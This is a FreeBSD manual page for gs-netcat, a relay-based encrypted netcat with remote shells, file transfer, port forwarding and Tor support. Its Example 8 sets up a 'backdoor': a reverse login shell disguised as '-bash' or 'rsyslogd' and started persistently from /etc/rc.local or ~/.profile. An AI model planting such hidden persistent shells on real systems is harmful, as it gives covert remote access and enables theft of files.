Skip site navigation (1)Skip section navigation (2)

FreeBSD Manual Pages

  
 
  

home | help
GS-NETCAT(1)		    General Commands Manual		  GS-NETCAT(1)

NAME
       gs-netcat  --  transfer data, forward traffic and execute commands on a
       remote host. Securely.

SYNOPSIS
       gs-netcat [-rlgqwCTSDiu]	[-s secret] [-k	keyfile] [-L logfile] [-d  IP]
		 [-p port] [-e cmd]

DESCRIPTION
       The  gs-netcat  utility is a re-implementation of netcat. It allows two
       or more users to	establish a secure TCP connection with each other in a
       scenario	where all users	are behind NAT/Firewall	and would not be  able
       to  connect  to each other directly. Typically a	connection between one
       workstation and another workstation on a	different Local	Area Network.

       It uses the Global Socket Relay Network (GSRN) instead  of  direct  TCP
       connections. Neither workstation	needs to open a	port in	their firewall
       or accept incoming TCP connections.

       The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256
       and a 4096 Prime. The GSRN sees only the	encrypted traffic.

       Common uses include:

	     	 simple	TCP proxies
	     	 PTY shell
	     	 File transfer
	     	 a SOCKS ProxyCommand for ssh(1)
	     	 and much, much	more.

OPTIONS
       -C      Disable	encryption  and	 use clear-text	instead. Use with cau-
	       tion.

       -d ip   Destination IPv4	address	for port forwarding.

       -D      Daemon &	Watchdog mode. Start gs-netcat as a background process
	       and restart if killed.

       -e cmd  Execute command and send	output to the connected	client.	 Needs
	       -l.

       -g      Generate	 a  secure  random  password and output	it to standard
	       output.

       -i      Interactive login shell.	The server spawns  a  true  PTY	 login
	       shell.  The  client  acts as a true PTY client (with Ctrl-C etc
	       working). The client can	terminate the session by typing	'Ctrl-
	       e q' at any time	or by typing 'exit'. The server	supports  mul-
	       tiple clients at	the same time.

       -k file
	       A file containing the password.

       -l      Server/Listening	mode. The default mode is client.

       -L file
	       Log file	[defaut: standard out]

       -p port
	       Port to listen on or to forward traffic to [1-65535].

       -q      Quiet mode. Do not output any warnings or errors.

       -r      Receive-only. Do	not send any data. Terminate when no more data
	       is available for	reading.

       -s secret
	       A  password chosen by the user. Both users need to use the same
	       password	to connect.

       -S      Act as a	SOCKS4/4a/5 server. The	server acts as	a  SOCKS4/4a/5
	       proxy. It allows	multiple gs-netcat clients to (securely) relay
	       traffic via the server. Needs -l.

       -T      Use  TOR.  The gs-netcat	tool will connect via TOR to the GSRN.
	       This requires TOR to be installed and running. The IP and  PORT
	       of the TOR server can be	set using environment variables.

       -u      Use UDP instead of TCP for port forwarding. Needs -p.

       -w      Client to wait for the listening	server to become available.

CONSOLE
       The  interactive	 login	shell  (  -i ) has a command console. Pressing
       'Ctrl-e c' (e for EEEElite) opens the command console. The command con-
       sole displays the following information:

	     	 Latency (in milliseconds) to the remote host
	     	 Warning when a	user logs into the system or becomes active
	     	 Data throughput
	     	 File transfer logs
       Type 'help' for a list of available commands.

FILETRANSFER
       File transfer is	available from the command console. Files  are	trans-
       fered  with  the	 permission and	modification timestamp unchanged. Par-
       tially transfered files are re-started where the	transfer was left off.

       The 'put' command is used for uploading:

	     put foobar.txt
	     put $HOME/foobar.txt
	     put /tmp/*.log
	     put $(find. -type f -name '*.c')

       (The above example shows	Shell Variable substitution  and  word	expan-
       sion)

       It  is possible to limit	the amount of path information that is sent as
       implied directories for each path you specify. You can insert a dot and
       a slash into the	source path, like this:

	     put /foo/./bar/baz.c

       That would create /tmp/bar/baz.c	on the remote machine.

       The 'get' command is used for downloading:

	     get foobar.txt
	     get $(find	/var/./	-name '*.log')

       Transfering a directory automatically transfers all files and  directo-
       ries within that	directory (recursively):

	     get /var/log
	     get /
       The  first  command  transfers all directories and files	in /var/log/*.
       The latter command transfers the	entire filesystem.

       Multiple	get/put	commands can be	scheduled at the same time.

EXAMPLES
       Example 1 - Listen for a	new connection using the password 'MySecret':
	     $ gs-netcat -s MySecret -l

       Connect with client using the same password:
	     $ gs-netcat -s MySecret

       Example 2 - spawn a PTY login shell when	a client connects:
	     $ gs-netcat -s MySecret -l	-i

       Log in to server's interactive shell:
	     $ gs-netcat -s MySecret -i

       Example 3 - Execute a command when a client connects:
	     $ gs-netcat -s MySecret -l	-e 'echo hello world; id; exit'

       Connect client to the server:
	     $ gs-netcat -s MySecret

       Example 4 - Pipe	data from client to server:
	     $ gs-netcat -s MySecret -l	-r >warez.tar.gz

       Client to read 'warez.tar.gz' and pipe it to the	server.
	     $ gs-netcat -s MySecret <warez.tar.gz

       Example 5 - Server to act as a SOCKS4/4a/5 server:
	     $ gs-netcat -s MySecret -l	-S

       Client to listen	on TCP port 1080 and forward any new connection	to the
       server's	SOCKS server:
	     $ gs-netcat -s MySecret -p	1080

       Example 6 - TCP Port Forward all	connections to 192.168.6.7:22. Server:
	     $ gs-netcat -s MySecret -l	-d 192.168.6.7 -p 22

       Client to listen	on TCP port 2222 and forward any new connection	to the
       the server. The server then forwards the	connection to 192.168.6.7:22.
	     $ gs-netcat -s MySecret -p	2222
	     $ ssh -p 2222 root@127.0.0.1

       The same	using 1	command:
	     $ ssh -o ProxyCommand='gs-netcat -s MySecret' root@ignored

       Example 7 - Creating an SFTP server using gs-netcat:
	     $ gs-netcat -s MySecret -l	-e /usr/lib/sftp-server

       The sftp-server binary speaks the sftp-protocol	to  stdin/stdout.  The
       sftp  binary also speaks	sftp-protocol to stdin/stdout. The tool	can be
       used to connect both via	GSRN (encrypted) and access  the  SFTP	server
       running on the server's side from the client via	the GSRN (encrypted).:
	     $ export GSOCKET_ARGS='-s MySecret'
	     $ sftp -D gs-netcat

       Example	8  -  Encrypted	 Reverse  PTY  shell  hidden as	'-bash'	in the
       process list - also known as 'backdoor':
	     $ (GSOCKET_ARGS="-s MySecret -liqD" exec -a -bash gs-netcat)

       The following line in /etc/rc.local starts the backdoor after each sys-
       tem reboot:
	     GSOCKET_ARGS="-s MySecret -liqD"  HOME=/root  TERM=xterm-256color
	     SHELL="/bin/bash"	 /bin/bash  -c "cd  $HOME;  exec  -a  rsyslogd
	     /usr/local/bin/gs-netcat"

       The  follwing  line  in	/etc/rc.local	starts	 a   port-forward   to
       127.0.0.1:22:
	     GSOCKET_ARGS="-k MySecret2	-lqD -d	127.1 -p22" /bin/bash -c "exec
	     -a	rsyslogd /usr/local/bin/gs-netcat"

       The  following line in the user's ~/.profile starts the backdoor	(once)
       when the	user logs in. All in one line:
	     killall -0	gs-netcat 2>/dev/null ||  (GSOCKET_ARGS="-s  MySecret3
	     -liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat)

       The '(...)' brackets start a sub-shell which is then replaced (by exec)
       with  the  gs-netcat process. The process is hidden (as -bash) from the
       process list.

       Client to connect to the	backdoor:
	     $ gs-netcat -s MySecret -i

ENVIRONMENT
       The following environment variables can be set to control the  behavior
       of gs-netcat

       GSOCKET_SOCKS_IP
	     Specify  the  IP  address	of  the	TOR server (or any other SOCKS
	     server). Default is 127.0.0.1.

       GSOCKET_SOCKS_PORT
	     The port number of	the TOR	server (or any	other  SOCKS  server).
	     Default is	9050.

       GSOCKET_ARGS
	     A string containing additional command line parameters. First the
	     normal command line parameters are	processed and then the command
	     line parameters from GSOCKET_ARGS.

SECURITY
       Passing	the password as	command	line parameter is not secure. Consider
       using the  -k  option  or  GSOCKET_ARGS	or  enter  the	password  when
       prompted:

	     $ gs-netcat -k <file>

	     $ export GSOCKET_ARGS="-s MySecret"
	     $ gs-netcat

       1. The security is end-2-end. This means	from User-2-User (and not just
       to  the	GSRN).	The  GSRN relays only (encrypted) data to and from the
       users.

       2. The session is 256 bit and ephemeral.	It is  freshly	generated  for
       every  session  and  generated  randomly	(and is	not based on the pass-
       word). It uses OpenSSL's	SRP with AES-256 and a 4096 Prime.

       3. The password can be 'weak' without weakening	the  security  of  the
       session.	 A  brute  force attack	against	a weak password	requires a new
       TCP connection for every	guess.

       4. Do not use stupid passwords like 'password123'.  Malice  might  pick
       the  same  (stupid) password by chance and connect. If in doubt use gs-
       netcat -g to generate a strong one. Alice's and Bob's  password	should
       at  least  be  strong  enough so	that Malice can	not guess it by	chance
       while Alice is waiting for Bob to connect.

       5. If Alice shares the same password with Bob and  Charlie  and	either
       one  of	them  connects then Alice can not tell if it is	Bob or Charlie
       who connected.

       6. Assume Alice shares the same password	with Bob and Malice. When  Al-
       ice  stops listening for	a connection then Malice could start to	listen
       for the connection instead. Bob (when opening a new connection) can not
       tell if he is connecting	to Alice or to Malice. Use -a <token>  if  you
       worry  about  this.  TL;DR: When	sharing	the same password with a group
       larger than 2 then it is	assumed	that  everyone	in  that  group	 plays
       nicely. Otherwise use SSH over the GS/TLS connection.

       7.  SRP	has Perfect Forward Secrecy. This means	that past sessions can
       not be decrypted	even if	the password becomes known.

NOTES
       The  latest  version  is	 available   from   https://github.com/hacker-
       schoice/gsocket/.

SEE ALSO
       gsocket(1), gs-sftp(1), gs-mount(1), blitz(1), nc(1), socat(1)

BUGS
       Efforts	have  been  made to have gs-netcat "do the right thing"	in all
       its various modes. If you believe that it is doing the wrong thing  un-
       der  whatever circumstances, please notify me (skyper@thc.org) and tell
       me how you think	it should behave.

FreeBSD	Ports 14.quarterly     October 08, 2020			  GS-NETCAT(1)

Want to link to this manual page? Use this URL:
<https://man.freebsd.org/cgi/man.cgi?query=gs-netcat&sektion=1&manpath=FreeBSD+Ports+14.3.quarterly>

home | help